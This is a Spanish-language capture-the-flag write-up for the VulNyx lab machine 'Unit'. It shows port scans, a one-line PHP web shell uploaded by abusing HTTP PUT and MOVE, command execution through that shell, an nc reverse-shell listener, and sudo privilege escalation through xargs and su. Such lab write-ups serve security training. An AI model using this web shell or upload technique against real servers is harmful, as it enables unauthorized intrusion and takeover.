VulNyx - Unit
- Abusing PUT & MOVE Methods
- Abusing Xargs Binary - Sudo
- Abusing Su Binary - Privesc
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.74
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
Escaneo de servicios
❯ nmap -sVC -v -p 22,80,8080 192.168.1.74
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
| 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open http nginx 1.22.1
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: 415 Unsupported Media Type
|_http-server-header: nginx/1.22.1
8080/tcp open http nginx 1.22.1
| http-methods:
| Supported Methods: OPTIONS PUT MOVE
|_ Potentially risky methods: PUT MOVE
|_http-title: 415 Unsupported Media Type
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP TCP - 80
HTTP TCP - 8080
En el escaneo de servicios con nmap se puede ver que el puerto 8080 admite los métodos OPTIONS, PUT y MOVE.
8080/tcp open http nginx 1.22.1
| http-methods:
| Supported Methods: OPTIONS PUT MOVE
|_ Potentially risky methods: PUT MOVE
Con el método PUT subo el archivo test.txt
.
❯ curl -X PUT --upload-file test.txt http://192.168.1.74:8080
Compruebo que se ha subido correctamente.
Creo el archivo shell.php
con el siguiente contenido.
<?php system($_GET['cmd']); ?>
Si intento subirlo me sale el siguiente error.
❯ curl -X PUT --upload-file shell.php http://192.168.1.74:8080
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.22.1</center>
</body>
</html>
Renombro el archivo a txt y lo subo al servidor.
❯ curl -X PUT --upload-file shell.txt http://192.168.1.74:8080
Verifico que se ha subido correctamente.
Con el método MOVE puedo cambiar la extensión txt por php de la siguiente forma.
❯ curl -X MOVE -H "Destination: http://192.168.1.74:8080/shell.php" http://192.168.1.74:8080/shell.txt
Compruebo que puedo ejecutar comandos.
curl "http://192.168.1.74:8080/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Obtengo la shell.
❯ nc -lvp 1234
listening on [any] 1234 ...
192.168.1.74: inverse host lookup failed: Unknown host
connect to [192.168.1.17] from (UNKNOWN) [192.168.1.74] 54370
bash: cannot set terminal process group (478): Inappropriate ioctl for device
bash: no job control in this shell
www-data@unit:~/unit$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Una vez termino el tratamiento de la tty lanzo un ls y puedo ver los archivos que he subido.
www-data@unit:~/unit$ ls
index.html shell.php test.txt
Enumero permisos de sudo.
www-data@unit:~/unit$ sudo -l
Matching Defaults entries for www-data on unit:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on unit:
(jones) NOPASSWD: /usr/bin/xargs
Para pasar de www-data a jones uso la herramienta gtfobins-cli
.
Consigo una shell como usuario jones.
Enumero de nuevo permisos de sudo.
jones@unit:~$ sudo -l
Matching Defaults entries for jones on unit:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User jones may run the following commands on unit:
(root) NOPASSWD: /usr/bin/su
Obtengo el root de la siguiente forma.
Y aquí termina la máquina Unit.
Saludos!